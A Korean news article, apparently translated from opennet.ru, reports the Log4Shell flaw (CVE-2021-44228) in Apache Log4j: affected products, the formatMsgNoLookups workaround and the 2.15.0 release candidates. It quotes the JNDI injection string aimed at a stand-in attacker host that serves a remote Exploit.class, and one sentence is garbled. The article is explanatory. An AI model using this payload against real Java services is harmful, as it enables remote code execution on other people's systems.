๋งŽ์€ Java ํ”„๋กœ์ ํŠธ์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” Apache Log4j์˜ ์น˜๋ช…์ ์ธ ์ทจ์•ฝ์ 

Java ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋กœ๊น…์„ ๊ตฌ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ํ”„๋ ˆ์ž„์›Œํฌ์ธ Apache Log4j์—์„œ "{jndi:URL}" ํ˜•์‹์˜ ํŠน๋ณ„ํžˆ ํ˜•์‹ํ™”๋œ ๊ฐ’์ด ๋กœ๊ทธ์— ๊ธฐ๋ก๋  ๋•Œ ์ž„์˜ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์ ์ด ์‹๋ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์— ๋ฌธ์ œ๊ฐ€ ์žˆ๋Š” ๊ฐ’์„ ํ‘œ์‹œํ•˜๋Š” ๊ฒฝ์šฐ ๋“ฑ ์™ธ๋ถ€ ์†Œ์Šค์—์„œ ์ˆ˜์‹ ํ•œ ๊ฐ’์„ ๊ธฐ๋กํ•˜๋Š” Java ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๊ณต๊ฒฉ์ด ์ˆ˜ํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Steam, Apple iCloud, Minecraft ํด๋ผ์ด์–ธํŠธ ๋ฐ ์„œ๋ฒ„๋ฅผ ํฌํ•จํ•˜์—ฌ Apache Struts, Apache Solr, Apache Druid ๋˜๋Š” Apache Flink์™€ ๊ฐ™์€ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฑฐ์˜ ๋ชจ๋“  ํ”„๋กœ์ ํŠธ๊ฐ€ ์ด ๋ฌธ์ œ์˜ ์˜ํ–ฅ์„ ๋ฐ›๋Š” ๊ฒƒ์œผ๋กœ ๋‚˜ํƒ€๋‚ฌ์Šต๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ Fortune์˜ 65%๊ฐ€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์‚ฌ์šฉํ•˜๋Š” ๋Œ€๋žต์ ์ธ ์ถ”์‚ฐ์— ๋”ฐ๋ฅด๋ฉด Apache Struts ํ”„๋ ˆ์ž„์›Œํฌ์˜ ์น˜๋ช…์ ์ธ ์ทจ์•ฝ์ ์˜ ์—ญ์‚ฌ๋ฅผ ๋ฐ˜๋ณตํ•˜๋ฉด์„œ ๊ธฐ์—… ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ๋Œ€๊ทœ๋ชจ ๊ณต๊ฒฉ์˜ ๋ฌผ๊ฒฐ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์„ ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ ์‹œ์Šคํ…œ์„ ์ฐพ๊ธฐ ์œ„ํ•ด ๋„คํŠธ์›Œํฌ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋ ค๋Š” ์‹œ๋„๋ฅผ ํฌํ•จํ•˜์—ฌ 100๊ฐœ ํšŒ์‚ฌ.

์ž‘๋™ํ•˜๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์ด ์ด๋ฏธ ๊ฒŒ์‹œ๋˜์—ˆ์ง€๋งŒ ์•ˆ์ •์ ์ธ ๋ธŒ๋žœ์น˜์— ๋Œ€ํ•œ ์ˆ˜์ • ์‚ฌํ•ญ์ด ์•„์ง ์ปดํŒŒ์ผ๋˜์ง€ ์•Š์•˜๋‹ค๋Š” ์‚ฌ์‹ค๋กœ ์ธํ•ด ๋ฌธ์ œ๊ฐ€ ๋”์šฑ ์•…ํ™”๋ฉ๋‹ˆ๋‹ค. CVE ์‹๋ณ„์ž๊ฐ€ ์•„์ง ํ• ๋‹น๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ์ˆ˜์ • ์‚ฌํ•ญ์€ log4j-2.15.0-rc1 ํ…Œ์ŠคํŠธ ๋ธŒ๋žœ์น˜์—๋งŒ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์„ ์ฐจ๋‹จํ•˜๊ธฐ ์œ„ํ•œ ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•์œผ๋กœ log4j2.formatMsgNoLookups ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ true๋กœ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

๋ฌธ์ œ๋Š” log4j๊ฐ€ JNDI(Java Naming and Directory Interface) ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋กœ๊ทธ ์ถœ๋ ฅ ๋ผ์ธ์˜ ํŠน์ˆ˜ ๋งˆ์Šคํฌ "{}" ์ฒ˜๋ฆฌ๋ฅผ ์ง€์›ํ•œ๋‹ค๋Š” ์‚ฌ์‹ค๋กœ ์ธํ•ด ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์€ โ€œ${jndi:ldap://attacker.com/a}โ€ ๋Œ€์ฒด ๋ฌธ์ž์—ด์„ ์ „๋‹ฌํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์š”์•ฝ๋ฉ๋‹ˆ๋‹ค. ์ฒ˜๋ฆฌ ์‹œ log4j๋Š” Java ํด๋ž˜์Šค ๊ฒฝ๋กœ์— ๋Œ€ํ•œ LDAP ์š”์ฒญ์„ ๊ณต๊ฒฉ์ž.com ์„œ๋ฒ„๋กœ ๋ณด๋ƒ…๋‹ˆ๋‹ค. . ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์—์„œ ๋ฐ˜ํ™˜๋œ ๊ฒฝ๋กœ(์˜ˆ: http://second-stage.attacker.com/Exploit.class)๋Š” ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์˜ ์ปจํ…์ŠคํŠธ์—์„œ ๋กœ๋“œ ๋ฐ ์‹คํ–‰๋˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” Exploit์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ˜„์žฌ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์˜ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค.

๋ถ€๋ก 1: ์ทจ์•ฝ์ ์—๋Š” ์‹๋ณ„์ž CVE-2021-44228์ด ํ• ๋‹น๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๋ถ€๋ก 2: log4j-2.15.0-rc1 ๋ฆด๋ฆฌ์Šค์—์„œ ์ถ”๊ฐ€๋œ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์— ๋Œ€ํ•ด ๋”์šฑ ์™„๋ฒฝํ•œ ๋ณดํ˜ธ ๊ธฐ๋Šฅ์„ ๊ฐ–์ถ˜ ์ƒˆ๋กœ์šด ์—…๋ฐ์ดํŠธ์ธ log4j-2.15.0-rc2๊ฐ€ ์ œ์•ˆ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฝ”๋“œ๋Š” ํ˜•์‹์ด ์ž˜๋ชป ์ง€์ •๋œ JNDI URL์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ๋น„์ •์ƒ ์ข…๋ฃŒ๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š” ๊ฒƒ๊ณผ ๊ด€๋ จ๋œ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.

์ถœ์ฒ˜ : opennet.ru

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€